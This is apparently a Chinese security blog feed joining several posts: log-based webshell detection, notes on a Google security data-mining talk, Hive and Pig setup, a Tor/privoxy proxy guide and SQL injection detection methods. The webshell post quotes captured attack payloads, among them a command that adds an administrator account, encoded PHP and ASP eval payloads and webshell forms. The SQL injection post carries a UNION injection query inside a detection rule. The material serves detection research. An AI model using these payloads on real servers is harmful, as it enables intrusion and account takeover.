补充20151103:批量写马的时候,特别是利用漏洞进行的批量写马,会用脚本来自动生成文件名,然后放在特定的目录下,对path的相似性分析会发现这个规律。
(文本相似性也是数据分析的基本技能)

(3)webshell的时间特征(辅助特征)
将新增的页面视为异常页面,但这种方案的缺陷非常明显

(1)会漏掉已存在页面写马的情况
(2)会误判正常的站点更新

于是将该特征当做辅助特征,用来还原webshell植入的过程,如果接入了例如WAF这种防御产品,还可以探究是不是绕过了防御

补充20151103: 文件的时间属性也是可以修改的

(4)webshell Payload特征(辅助特征)
WAF、IDS等基于流量的安全检测防御工具,会把网络通信中的payload特征(特别是攻击特征)当成主要的检测手段
webshell检测-日志分析 - 碳基体 - 碳基体
图片参考 《closing the door on webshell》-by Anuj Soni

下面列举一些实际发现的payload(做脱敏处理后的)

SUPort=43958&SUUser=LocalAdministrator&SUPass=xxx&SUCommand=net+user+spider+spider+%2Fadd+%26+net+localgroup+administrators+spider+%2Fadd&user=spider&password=spider&part=C%3A%5C%5C

whirlwind=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3

n3b31d1=cGhwaW5mbygpOw==

getpwd=admin&go=edit&godir=%2Fhtdocs%2Fbbs%2Fconfig%2F&govar=config_global.php

senv=eval(\"Ex\"%26cHr(101)%26\"cute(\"\"Server.ScriptTimeout%3D3600:On+Error+Resume+Next:Function+bd%28byVal+s%29%3AFor+i%3D1+To+Len%28s%29+Step+2%3Ac%3DMid%28s%2Ci%2C2%29%3AIf+IsNumeric%28Mid%28s%2Ci%2C1%29%29+Then%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26%22%22%22%22%29%22%22%22%22%29%3AElse%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26Mid%28s%2Ci%2B2%2C2%29%26%22%22%22%22%29%22%22%22%22%29%3Ai%3Di%2B2%3AEnd+If%22%22%26chr%2810%29%26%22%22Next%3AEnd+Function:Response.Write(\"\"\"\"->|\"\"\"\"):Ex\"%26cHr(101)%26\"cute(\"\"\"\"On+Error+Resume+Next:\"\"\"\"%26bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E2229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")"



但在日志分析中只能当成辅助特征,有两个原因:
a. 日志字段不全的问题,无法使用payload
b. 攻击者很多时候只是在做webshell存活性探测,不会产生攻击特征,或者将会攻击payload进行加密处理来绕过特征检测
如下例wso 2.5.1 的payload为a=RC
webshell检测-数据分析 - 碳基体 - 碳基体
  
但也不要轻视了这种直观的特征,常规webshell是占较大比例的,并且在webshell特别是只有回显信息无GUI的小马而言,确认上也能起到不容忽视的作用。


2、webshell确认
想想砖家们们如何确认一个页面是不是webshell的,打开ta,看看页面长啥样,也就是请求回放。在进行请求回放的时候,有两类问题需要考虑
(1)回放是否会造成破坏性操作,例如造成站点压力,(好心办坏事的例子也是有的,例如网站速度监测应用,cc防御应用就会把带宽小性能小的站点打趴),还有删除文件、重置账户、系统重装(e.g. /setup-config.php)等操作,这也是为啥不直接回放每条访问日志的原因之一(当然整体日志量的大小也是原因之一)
(2)回放是否侵犯用户隐私,严格的日志存储规定不能存储cookie,post等会涉及用户敏感数据的字段,或必须做脱敏处理再存储,然后由用户授权再查看,当然不存储的更重要的原因是存储资源的巨大耗费。
(p.s.有时候我会想如何防止安全人员监守自盗呢,做扫描器(漏洞识别)的,特别是全网性质的,有自己的社工库,有自己的弱点地图等,扯远了)

对于情况(1)采用限速,加上回放内容过滤,cookie认证信息消除,威胁操作过滤,对于情况(2)有点微妙


回放的问题解决了,接下来就是根据回放的响应页面判断是否是webshell了。我们先看看响应页面的类型

(1)响应页面不为空(对URL发起GET请求后,为一个有内容的页面)

实例1 webshell登陆口

<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>

登陆框非常非常见(登陆框集锦
webshell检测-数据分析 - 碳基体 - 碳基体
实例2 上传文件型webshell

<form action="?cmd=up" method="post" enctype="multipart/form-data" name="form1">
<input type="file" name="file" size="17" class="Input">
<input type="submit" name="Submit" value="提交" class="Input">
</form>



实例3 不需要认证的野马
webshell检测-日志分析 - 碳基体 - 碳基体
 
实例4 wso webshell

a:4:{s:5:"uname";s:81:"Linux li676-178 3.19.1-x86_64-linode53 #1 SMP Tue Mar 10 15:30:28 EDT 2015 x86_64";s:11:"php_version";s:5:"5.6.9";s:11:"wso_version";s:5:"2.5.1";s:8:"safemode";b:0;}



(2)响应页面为空
对URL发起GET请求后,响应为空白页面,带payload回放(脱敏处理后的)


检测方案如下图所示,用到了两个特征
(5)webshell 行为特征 
抽象webshell形成攻击的关键路径,将其抽象为数学描述的策略库,来提取异常
(6)webshell 网页特征:内容/结构/视觉签名 
(更多内容可从网页相似性开始了解)

 webshell检测-日志分析 - 碳基体 - 碳基体


本人的webshell样本库: https://github.com/tanjiti/webshellSample


回顾一下,我们是根据特征来检测webshell,已提到的特征有
(1)webshell 访问特征(主要特征) ——webshell提取阶段
(2)webshell path特征(辅助特征)——webshell提取阶段
(3)webshell 时间特征(辅助特征)——webshell提取阶段
(4)webshell Payload特征(辅助特征)——webshell提取阶段
(5) webshell 行为特征 ——webshell提取阶段
(6)webshell Reponse网页特征(内容特征/结构特征/视觉特征) ——webshell确认

最后还有一个特征——(7)webshell 攻击关联特征

  "如果发现一个站点植入webshell,那远远不只一个站点被植入"
“如果发现一个站点被植入一个webshell,那远远不只一个webshell被植入”

搜索的优势在这个时候就可以发挥了,用确认webshell的访问者特征(IP/UA/Cookie),Payload特征,时间特征进行关联搜索,像这次xcode事件,360在构建了基础数据后(这里引用我非常崇拜的楚安一段话“永远记得,数据基础设施不是采一堆垃圾进来存下就完了,这背后是完善的数据生命周期解决方案。采集,etl,数据质量,快捷的数据交互这些才是最重要的。)利用搜索将数据关联起来,按时间线进行还原,讲述了个有意思的故事。

补充20151103:讲到搜索,有两个难点:
(1)如何将结果按时间线与行为关联展示
(2)基础数据设施建设的如何,比如说使用elasticsearch,保留多久的数据量,索引如何建立,集群的负载均衡等
(说到基础数据设施建设,超级心塞,先是hadoop碎片化导致的数据传输坑,然后再是日志字段飘逸变更的坑,还有不可解释靠重启解决了的集群莫名挂掉的坑,所幸身边有不少朋友提供帮助,特别感谢hadoop小王子

二、实现
1. 数据获取
数据源:web访问日志
获取方式:如果存储在hdfs里,采用distcp的方式拷贝到模型计算集群上
p.s. 光数据的获取,就遇到了很多坑,不同版本的hadoop之间的数据传输hadoop碎片化的问题,也是工程师文化导向的产物之一,都爱用开源的东西去组装一套单独的完整的系统,当然也因此培养出了不少全栈工程师)


2.feature提取
http_host   
root_domain
url
path
query 查询字符串
referer
ip
timestamp
http_response_code 
http_method
request_body 请求体 非必要字段
cookie 非必要字段
user_agent

3.预处理
 
在统计之前我们需要对数据做预处理
预处理1:按小时切割日志(切割主要是为了避免日志量大的情况下计算时间过长)
预处理2: 提取响应码为2xx,3xx的日志
预处理3: 特征规范化处理,非常重要,如果不做预处理,将会形成一个超级大的有向图,mapreduce这种批处理会处理不过来
Host规范化: 将*.xxx.com或.xxx.com 变成 www.xxx.com
Path规范化:归并多个/,替换\为/
referer规范化
(1)将相对地址还原为绝对地址,e.g. /a.php => www.xxx.com/a.php
(2)将host部分非本域(不在根域名内)、空字段、不符合referer规范的referer字段皆设置为空
(3)去除query部分


4.模型建立
1)webshell提取(全自动)
第一步:建立(path,referer)有向图,提取孤立页面(入度为0,出度为0 )与自回路页面( 入度为1,出度为1,自己指向自己)webshell 的访问特征
第二步:去除不符合规范的path( 是否符合(?:https?://)?[-./\\w]+)
第三步:去除静态path(例如jpeg,jpg,gif,png,bmp,css,js,xls,xlsx,doc,xml,wav,tar.gz,zip,swf,mp3,ico,pidf,torrent)
第四步:去除白名单path (例如主页index.php,index.asp,index.aspx,index.ashx,index.html)
第五步:去除非webshell后缀的path (例如asp,aspx,php,jsp,py,cgi,pl,java,sh,war,cfm,phtml)
第六步:去除扫描器造成的path(按扫描器IP信誉库(云扫描器IP信誉库与时效性扫描器IP信誉库)与扫描器行为(可以简单的按ip+host聚类,将单位时间内请求数超过M,独立路径数超过N的请求视为扫描器)来去除)
第七步:去除响应码非200的path
第八步:按path特征定义webshell的可信度,符合特征的标记为1(例如常见的上传文件目录,随机文件名)webshell 的path特征
第九步:按webshell payload特征定义webshell的可信度,符合特征的标记为1,等同于WAF中的webshell检测规则(但要更宽松些,因为不怕误报),如果日志中有WAF检测结果标记字段,可以直接用该字段来标记webshell可信度 (例如envlpass=) webshell Payload特征
第十步:去除独立IP访问数与path访问请求总数超过阈值的path 

2)webshell确认
第一步:对webshell 提取的path进行GET回放(限速),若有参数,带参数回放
这里需要考虑两种badcase:
(1)对脚本语言,设置不带参数隐藏为不存在或者发生跳转的webshell
(2)对非脚本语言,不带参数回放,由于Null异常直接500异常
第二步:去除响应码非200的path
补充:修改为保留401的请求,避免漏掉通过http basic认证的webshell
第三步:去除404重写path
方法一:随机生成2个文件名,回放,看response body的大小是否一样,若一样,则存在重写
方法二:神奇的fuzz hashing又要发挥作用了,可以对重写的response content求fuzz hashing值,设置相似度阈值,在阈值范围内的判定为404,例下图所示,将安全狗重写页面剔出
webshell检测-日志分析 - 碳基体 - 碳基体
 webshell检测-日志分析 - 碳基体 - 碳基体
 

第四步:对空白响应页面,进行带payload的回放(限速与脱敏
第五步:对响应页面计算fuzz hashing值,并做聚类处理
第六步:读取weshell fuzz hashing特征值库,相似度在阈值范围内的path判定为webshell webshell Reponse网页相似性特征
第五步:网页信息提取,分为静态提取,动态提取,提取title,表单,Link,Image信息(全自动)
第六步:抽象webshell行为的关键路径,制定策略,基于策略库进行webshell异常提取
第七步:基于webshell样本签名(网页的内容/结构、视觉)的自动化攻击确认,与人工干涉的对属于异常但不符合样本签名的攻击确认补漏
第八步:提取确认webshell的访问者特征(IP/UA/Cookie),Payload特征,时间特征,关联搜索,将搜索结果按时间排序,还原事件 webshell 攻击关联特征

5. 模型评估
一般会用召回率,准确率来评估。但如何确认所有的webshell已检出呢,我采用在自己站点植入webshell,然后看是否能全部检出,但这种方式有明显问题——站点的访问流量非常态的,待解决。


三、模型缺陷
模型待改善的地方
问题一:referer伪造
问题二:图片webshell(因为静态文件的放行)
问题三:已有文件植入后门(因为不孤立了)
问题四:URL回放时的响应问题(例如读取注册表的小马,响应时间会超过默认的120s)
问题五: URL重写导致的伪静态放行
问题六:多个脚本相互交互的webshell(破坏了孤立性 )
问题七:网页信息动态提取时JS解析错误(无法正确提取表单来确认webshell输入点)


四、其他检测方法
上文介绍了如何通过web日志分析来查找webshell,现在来回顾一下传统的webshell检测产品
(p.s.从商品化的检测技术中总能获得不少检测灵感,他们的方法虽然土但有效)

WAF/IDS/IPS:检测HTTP请求是否符合webshell通信特征(被动检测)
漏洞扫描器:扫描是否存在已知后门植入漏洞,例如常见webshell路径,菜刀连接(主动检测)
后门检测查杀工具:检查文件系统中是否存在webshell恶意文件
目录监控工具:文件完整性监控、关注文件的修改时间、所有者,权限(增加的webshell文件,被植入webshell的已存在文件时间都会发生变化)
SIEM日志分析(取证)工具:检查是否有webshell的访问事件 (现有的一般是基于特征与简单关联,非常少的用到机器学习方法)

而这些产品用到的技术划分为静态检测方法与动态检测方法,其实也是反病毒领域采用的方法。

1. 静态检测 
(1) 文件内容检测,检测是否包含webshell特征,例如webshell常用函数
缺点: webshell 花式混淆绕过
webshell检测-数据分析 - 碳基体 - 碳基体
 花式混淆参见:
http://weibo.com/p/1001603888457062702792
http://pastebin.com/raw.php?i=ctswucid

检测方法参见:


(2)文件内容检测,检测是否加密(混淆处理)
吸取上面的经验,增加了通过检测是否加密来判断webshell(1,2,3,4都是)

1、重合指数(Index of Coincidence):本质是概率,简单的说,有意义的词汇重合指数高,被加密或混淆的字符串的重合指数低
2、信息熵(Entropy):本质还是概率,简单的说,有意义的词汇熵值小,被加密或混淆的字符串的熵值大
3、最长单词(LongestWord):比较粗暴的假设,字符串越长被加密或混淆的可能性越大
4、压缩(Compression):非常有趣的想法,尽然能想到利用压缩的原理来描述混淆或加密字符串与常规字符串的区别
5、签名(Signature):特征匹配,属于传统方法


检测方法参见:
NeoPi方法的国人介绍:
http://www.freebuf.com/articles/web/23358.html
http://www.freebuf.com/articles/4240.html


缺点:
第一篇文章下的吐槽能说明一些问题,第二篇文章正好证明了这个问题
数据分析方法特别是机器学习,更多的时候考虑的是大数据量下的概率指向,对特殊情况的覆盖率低,但优势也是很明显的,只是不能单独使用。

(3)文件Hash检测,创建webshell样本hashing库,将待检测文件与之对比,在阈值范围内的判定为可疑文件
ssdeep检测webshell (fuzzy hashing检测)

(4)文件完整性检测
文件的创建时间(新增文件(新增webshell),修改时间(原有文件注入webshell)),文件权限,所有者
缺点:更新频繁的站点无法运维

2. 动态检测
沙箱技术,根据动态语言沙箱运行时的行为特征来判断

缺点:
加密文件无法执行,写的很挫(本身有语法错误)的文件无法执行,

检测产品参加:

五、结语
这篇文章写了快半个月了,本人是个收集狂魔,喜欢收集资料,也喜欢收集方法,收集了需要验证,因此花了不少时间,但这个过程还是蛮有趣的,玩过界(汇集不同领域的特长)的感觉真好。同时欢迎交流,把我骂成狗也没得关系

后记:
结果真的被人骂了,但骂的原因不是预料的文章写的渣,技术方案存在问题,而是涉及抄袭的人身攻击,本人除了写技术博客,写读书笔记,推送我发现的好资料,并未混进安全圈内过,会议不曾参加,聚会更是没有,着实封闭,也不能自证,于是只能忍了。

Data minging for security at Google —— Max Poletto 笔记

$
0
0
2014年秋 斯坦福大学网络课程 Data Mining For Cyber Security CS259D 上来自google security Monitoring Tools组负责人Max Poletto 的现身说法PPT的笔记加个人批注

一、背景
1. 在google数据挖掘的常见安全应用场景
(1)账号劫持检测
(2)广告点击欺诈检测
(3)DoS检测
(4)入侵检测

批注:更多安全应用场景可以参考 http://danqingdani.blog.163.com/blog/static/18609419520150270592208/


2. 安全分析的主要工作
(1)监控:
主动、持续性的发现入侵、越权操作、脱裤等 


(2)分析:
被动、事件驱动、以人为主导的产出威胁情报,事件调查

批注:根据介绍推测,google的安全工作同国内其他公司一样,都是以攻击事件来驱动的后发安全

二、监控
1. 监控流程图
Data minging for security at Google —— Max Poletto 笔记 - 碳基体 - 碳基体
 2. 经验之谈
a. 漏报花费-破坏造成的损失成本
b. 误报花费-安全分析人员时间花费成本
c. 报警信息信息要有效(批注:目前IDS/SIEM产品的最大问题是,产出大量报警信息导致无效运维,后文会展现什么是有效的数据展现,提前剧透一下,数据去噪后的多维度(时间维度+关系维度)图形化展示)
d. 分析能力受限于数据质量(批注:现实中,完美的数据是不可能的,很多情况下都在有限的数据下发挥作用,每缺一种数据,就需要一种甚至多种分析方法来弥补)
Data minging for security at Google —— Max Poletto 笔记 - 碳基体 - 碳基体
3.检测方法一异常检测

原则:对正常行为建模,查找异常点
优点:理论上绝对可以发现新的未知攻击
缺点:噪音太多 ,聚类的结果不可读

实际案例:账号异常检测
原理:对正常账号行为建模查找异常点
步骤:feature确认-正常行为建模-异常点查找
方法:
Data minging for security at Google —— Max Poletto 笔记 - 碳基体 - 碳基体

 模型结果: 准确率太低,1%的异常意味着500个员工都是异常账号(批注:数据越大,误报的问题就越扩大)

Data minging for security at Google —— Max Poletto 笔记 - 碳基体 - 碳基体

 经验:不是所有的异常都是攻击,异常但正常的特例太多 

批注:个人经验,异常检测+攻击确认是必不可少的,无论是HTTP参数长度异常检测模型,webshell检测模型的实际经验都证明了这个结论

4. 检测方法二:基于规则(其实是策略)的检测,也就是专家系统

原则:基于专家领域知识直接设置规则(策略)
优点:可以直接将策略与预警对应起来
缺点:未知攻击不可感知,规则绕过问题

批注:其实规则(策略)绕过问题,个人觉得是对攻击行为的总结太过局限,比如说正则狗,我们可以抓住攻击行为的关键路径更加抽象一点来描述攻击行为


 google自研系统:
Data minging for security at Google —— Max Poletto 笔记 - 碳基体 - 碳基体
 
 三、分析

1. 经验

我们要认清以下事实:
(1)完全自动化是不可能的(批注:现阶段我们必须承认这个事实)
(2)以人为本——必须以安全分析人员为主导
(3)在安全分析中应用数据挖掘的本质——更好的辅助安全分析人员的分析工作

批注:辅助包括数据的去噪与多维度(时间维度与关系维度)的可视化展现,可视化有两个方向,分析过程可视化与分析结果可视化,都是为了更好的理解),让安全人员可以聚焦到深度分析中,来找到攻击事件的成因。
Data minging for security at Google —— Max Poletto 笔记 - 碳基体 - 碳基体
 2.分析方法与实例

(1)方法综述
攻击事件取证:graph traversal
去噪:graph summarization, cluster
恶意软件分类:classification 

批注:将算法术语翻译成中文,就感觉像将shell翻译成壳一样的不自在

(2)案例1: 水坑攻击事件取证
经验:数据需要做去噪操作,全局的图计算花费大


(3)案例2:通过图转换 graph transform 来进行 log summarization

反例:
开源取证工具: https://github.com/log2timeline/plaso 基于时间线的单维度来展现事件
Data minging for security at Google —— Max Poletto 笔记 - 碳基体 - 碳基体
 
缺陷:结果太多,无法运维
改善版本:数据的多维度细粒度展现:时间维度+关系维度(批注:特别是关系维度,目前的产品几乎以时间维度为标配)
方法:将日志转换为图,定义等价条件(例如时间点转换为时间段;url转换为域名,子操作聚合成一类操作)采用图的最小化算法(graph automata minimizationhttps://en.wikipedia.org/wiki/DFA_minimization  )来去噪,只提取最有意义的数据(批注:日志去噪技巧上,sumologic最新提出了logreduce的概念,采用聚类的方式来减少日志量)

对比结果如下
Data minging for security at Google —— Max Poletto 笔记 - 碳基体 - 碳基体
 最终结果展现
Data minging for security at Google —— Max Poletto 笔记 - 碳基体 - 碳基体
 (4)案例4:恶意软件分类
恶意软件分类:样本,indicators,所属家族

最终方案:
Web-scale annotation by input embedding

四、结论
1. 安全分析的应用领域很多——前景
2. 数据增长与未知攻击使得数据分析过程如果不自动化,将让安全分析人员陷入困局,而要保证高的检出率准确率的完全自动化是不现实的,所以采用交互式的分析过程(以安全专家为主,利用数据挖掘提供更好的分析工具)是目前唯一明朗的道路

将hdfs web日志映射到hive table的方法

$
0
0

前段时间,自己仿modsecurity 规则,用mapreduce写了个搜索任务,任务慢到挂,后来想想还是将数据导入hive,让hive来干ETL的工作。
考虑到集群空间非常吃紧,不能增加存储量,因此选择外部表的方式

hadoop的目录结构如下
/data/xxx/20151216/00/xxx.log 
第一步:创建表

CREATE EXTERNAL TABLE IF NOT EXISTS xxx_access_log(
http_host STRING,
ip STRING,
time STRING,
http_method STRING,
uri STRING,
http_response_code STRING,
body_bytes_send INT,
referer STRING,
user_agent STRING,
x_forwarded_for STRING,
cookie STRING,
request_time STRING,
content_length INT,
request_body STRING)
COMMENT 'input xxx access log'
PARTITIONED BY(event_date STRING, event_hour STRING)
ROW FORMAT SERDE 'org.apache.hadoop.hive.serde2.RegexSerDe' WITH SERDEPROPERTIES(
"input.regex" = "自己的正则")
STORED AS TEXTFILE
LOCATION "/data/xxx";

第二步: 增加分区,导入数据

ALTER TABLE $table_name ADD IF NOT EXISTS

PARTITION event_date='20151216', event_hour='00' location "/data/xxx/20151216/00";

PARTITION event_date='20151216', event_hour='01' location "/data/xxx/20151216/01";

...

PARTITION event_date='20151216', event_hour='23' location "/data/xxx/20151216/23";


需要一一指定分区,看起来有点蠢,也查了查自动分区的方法 
http://stackoverflow.com/questions/7544378/hive-dynamic-partition-adding-to-external-table 待试验

问题1:当serde使用以下包的时候

ROW FORMAT SERDE 'org.apache.hadoop.hive.contrib.serde2.RegexSerDe' WITH SERDEPROPERTIES

数据导入后,会因为hive找不到hive-contrib-xxx.jar包,查询时会报错

解决方案将hive-contrib-xxx.jar包的位置写入环境变量中

hive/conf/hive-env.sh

增加

export HIVE_AUX_JARS_PATH=/home/xxx/hive/lib/hive-contrib-xxx.jar


参考:
http://hadooptutorial.info/processing-logs-in-hive/

使用privoxy与tor隐藏身份

$
0
0
前提: 有一台境外的vps

原理:
流量 <-----> http proxy(privoxy)<----- >socks proxy(tor)

第一步:安装与配置tor

apt-get install tor


vim /etc/tor/torrc

编辑

SocksPort 9050 #修改默认端口是好习惯


/etc/init.d/tor start


第二步:安装与配置privoxy
privoxy介绍 https://program-think.blogspot.com/2014/12/gfw-privoxy.html(翻墙看)

apt-get install privoxy


vim /etc/privoxy/config

编辑

listen-address 0.0.0.0:8118 修改默认端口是好习惯
forward-socks5 / 127.0.0.1:9050 .  把所有的请求都转发给本机的tor监听端口


/etc/init.d/privoxy start


第三步:使用

查看是否正常使用privacy

http://p.p/

查看是否正常使用tor

curl https://check.torproject.org -x vpsip:8118|grep Your -A 5 -B 5|more
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 8277 0 8277 0 0 3822 0 --:--:-- 0:00:02 --:--:-- 3824
<h1 class="not">

Congratulations. This browser is configured to use Tor.

</h1>
<p>Your IP address appears to be: <strong>37.187.7.74</strong></p>



<p class="security">
However, it does not appear to be Tor Browser.<br />



p.s.  这种方法并不能science 上网

参考:
https://program-think.blogspot.com/2014/12/gfw-privoxy.html (非常有意思的博客)

SQLi的那些事

$
0
0
sqli是个老生常谈的话题,我们知道sqli漏洞层出不穷,我们知道sqli技能培训一片红火,农历年的最后一天,来讲讲SQLi的检测问题。


一、注入本质
SQLi是如何造成的,有一堆的文章科普,这里就一句话交代——代码与数据的界限不明


二、危害
SQLi有哪些危害,也有一堆的文章科普,这里就一句话交代——要么要数据(也就是常说的脱裤,数据库数据读取篡改删除),要么要控制权(web写马,操作系统文件系统读写,命令执行),危害的程度取决于攻击者的最终目的


三、攻击步骤
SQLi有哪些危害,也有一堆的文章科普,一句话交代不清,分个类
1. 通用漏洞
(1)判断是否存在注入 
a. 直接回显
b. 基于错误的回显:编译错误的敏感信息回显与运行时错误的语句执行结果回显
c. 盲注:响应内容差异与响应时间差异
(2)选择注入技术
(3)攻击
2. PoC

注意:这两种最大的区别是——是否具备频繁的试错操作(这个特征在关联分析SQL语句与对应的HTTP web日志时非常有用)

四、安全产品
我们在通过已有的产品看看有哪些成熟的解决方案:
(1)runtime——从http层获得注入点,在runtime层获得完整的语句来判断(e.g. waratek) 
(2)源码层——源码审计(静态代码分析)、安全编码组件(e.g.参数化查询)
(2)数据库层——数据库防火墙 (e.g.  druid-wallfilter)
(3)web服务器层——web server安全组件
(4)协议层——WAF/IDS/IPS

------------------------------------------------------------------------------------检测技术的分割线---------------------------------------------
包括发现sqli攻击,sqli攻击结果确认
五、检测技术(判断是否为sqli攻击)
(1)静态签名(攻击签名 signature-based,以字符串模式匹配为主)
a. owasp-modsecurity-crs
基于历史攻击案例的经验之谈,一般为输入参数/响应内容中包含用正则描述的特征字符串则判定为攻击

缺点:HTTP与SQL属于CFG(Context-Free Grammars),正则表达式属于FSM(Finite-state machine)描述语言,正则表达能力有限,总存在漏报与误报,最容易误报的owasp-crs 规则集中,SQLI毫无悬念的独占鳌头 


(2)词法lexical+语法grammar+语义semantic分析
a. libdejector blackhat 2005, Hanson && Pattresn, 给出了以下观点
"Input validataion needs to be done with a mechanism strong enough to recognize the language"
HTTP与SQL属于CFG(Context-Free Grammars),正则表达式属于FSM(Finite-state machine)描述语言,用正则来描述规则总会有误报与漏报
b. libinjectionblackhat 2012 , Nick Galbreath 词法分析
c. sqlchopblackhat 2014, 词法+语法分析


缺点:
从语法上说,标准SQL语法本身不复杂,复杂的是丰富的DB产品衍生的SQL变种语句及解析器特例;
从语义上说,这里有个案例 
"select * from table where  1=1 and Age='18'  and Address='云南省文山州广南县小村'”" 实际并不是SQLI,仅仅只是为了满足多条件查询页面中不确定的各种因素而采用的一种构造一条正确能运行的动态SQL语句的一种方法
这种方法尝试从sqli成因的本源来解决问题,区分代码段与数据段

(3)动态建模 dynamic profile(自学习 learning-based)
a.  正常行为的动态建模 (anomaly-based)
以imperva Securesphere产品为例Dynamic Profile
SQLi成因 - 碳基体 - 碳基体
 本质是通过对大量正常请求样本进行训练,生成正常请求的模型描述,例如

a.字符串特性:长度、字符分布规律、字符串结构(可用HMM/NFA)、前缀/后缀
b. 类型: 字符型,数值型等
...

注意:样本的选择与清洗非常重要,imperva采用以下策略来优化样本库的质量
(1)已知恶意行为筛选:黑规则(攻击签名)、严格的协议校验,严格的编码校验——(签名库是基础,在后期的模型评估中也可以做为参照标准)
(2)响应码筛选:404 500剔除
(3)扫描器(自动化脚本)筛选——(bot识别是必须的)
(4)请求者过滤:只接受可信IP,可信user发起的请求——(IP信誉库在内的情报支撑是必须的)
(5)训练基线:请求者(IP/User)数目限制(e.g. 至少50个用户对目标发起过请求);请求时间段限制(e.g. 12个小时的不同时间段均有对目标的请求);请求次数(对目标的请求次数至少50次)
(6)自适应:自适应分成两部分,一种当目标发生变化时(e.g. 程序结构发生变化);一种是鲁棒性,当错误样本混入时,能将其自动剔除。

建模中我们可以应用文本分类中的技术,例如朴素贝叶斯、 HMMn-gram

缺点:需满足正常请求远远大于异常请求的假设前提

参考:
《A Learning-Based Approach to the Detection of SQL Attacks》

b、攻击行为的动态建模



六、确认技术(判断sqli攻击是否成功,并且更进一步的发现是什么漏洞造成的SQL攻击)
(1)动态确认:sqli漏洞扫描器
a. sqlmap
动态确认存在的问题:
1. 为了避免破坏性操作,scanner一般选择非登陆扫描,因此对需登陆的SQLI检测能力差
2. scanner 在盲注的情况下,对找到正确的注入点较困难 


(2)静态确认:
方法一:漏洞扫描器的检测步骤与策略静态化
数据源:HTTP请求与HTTP响应

分两种:
通用漏洞:模拟sqlmap等扫描器判断是否存在注入的步骤(当然基于原来不变的情况下,策略需要微调与简化) 
poc漏洞:poc直接转换为规则,比较简单
下面是用友FE协作办公系统 /common/codeMoreWidget.jsp SQL Injection POC面检测规则样例:

if path endsWith  ”/common/codeMoreWidget.jsp“

      and similarity(querystring, "12%27%20UNION%20ALL%20SELECT%20sys.fn_varbintohexstr(hashbytes(%27MD5%27,%271234%27))–”) > 0.9

      and responsebody contains “81dc9bdb52d04dc20036dbd8313ed055"   then

    output "['用友系统漏洞', '/common/codeMoreWidget.jsp', 'Yongyou SQL注入漏洞', 'jsp']"

end


缺陷:
虽然避免了动态扫描器的潜在性破坏操作,网络带宽占用,但同时也丢失了扫描器的人机交互定制优势与简化过程中的检出率牺牲


方法二:web log与DB log关联分析
数据源:web log与DB log
第一步:分析db log,找出有危害的SQLI语句

第二步:,将DB中的SQLI语句与HTTP web日志对应起来,找到攻击的web入口
在对应的过程中,我们需要优先考虑一个问题,如何确认是否对应成功?
对通用SQLI攻击,如果对同一操作对象(表table,列field)的试错语句+攻击语句同时存在DB log与HTTP log中,关联正确;
对PoC SQLI攻击,如果对同一操作对象(表table,列field)的正常语句取样+攻击语句+指纹信息同时存在DB log与HTTP log中,并且DB与web的指纹信息一致,关联正确

第三步:攻击信息输出
(1)漏洞信息——看到了你
输出漏洞指纹,Nday? 0day

(2)攻击行为风险定级-你在干什么
0:badsqlstatement SQL语句不符合语法,当web server开启错误信息回显时会暴露db语句等信息
1:probe 探测性注入语句
2:dbread 读取DB信息语句
3:dbupdate 修改DB table数据语句 
4:dbdelete 删除DB table数据语句 
5:fileread  读取系统文件语句
6:filewrite 写系统文件语句
7:oscmdexcute  执行系统命令语句

(3)攻击者浅层信息提取- 你是谁
攻击者ip-geo,sessionid

第四步:防御策略输出

缺陷:
db日志源的获取


七、结语
可以看出,从单维度的漏洞检测来看,检测技术基本就是三板斧,规则、沙箱与统计,但安全防御从来都是多维度上的攻防,我们需要用系统化的工程方法来给出解决方案,而“数据驱动的安全”明显是成本最低的解决方案,数据驱动不是说我们搜集了多少数据,而是关注数据的分层(基础数据层ip;dns,网络数据层五元组;终端层;应用层;用户行为层)与关联(大数据有意思的地方不是量,还是让异构的数据沟通起来,web log与db log的案例就是一次有效的简单对外),这方面需要摸索的地方有很多很多,来年继续。

大数据之pig安装及使用实例

$
0
0
前置知识:

具备基本的hadoop分布式文件系统操作与mapreduce计算框架知识——大数据之hadoop伪集群搭建与MapReduce编程入门



一、Pig环境搭建
1、安装

wget http://mirrors.cnnic.cn/apache/pig/pig-0.15.0/pig-0.15.0.tar.gz .


tar zxvf pig-0.15.0.tar.gz

cd pig-0.15.0/

vim bin/pig

修改
JAVA_HOME=/opt/jdk1.7.0_67
HADOOP_HOME=/opt/hadoop-2.7.1
HADOOP_CONF_DIR=/opt/hadoop-2.7.1/etc/hadoop


vim ~/.bashrc
修改
JAVA_HOME=/opt/jdk1.7.0_67
export PATH=$JAVA_HOME/bin:$PATH

HADOOP_HOME=/opt/hadoop-2.7.1
export PATH=$HADOOP_HOME/bin:$PATH

PIG_HOME=/opt/pig-0.15.0/
export PATH=$PIG_HOME/bin:$PATH

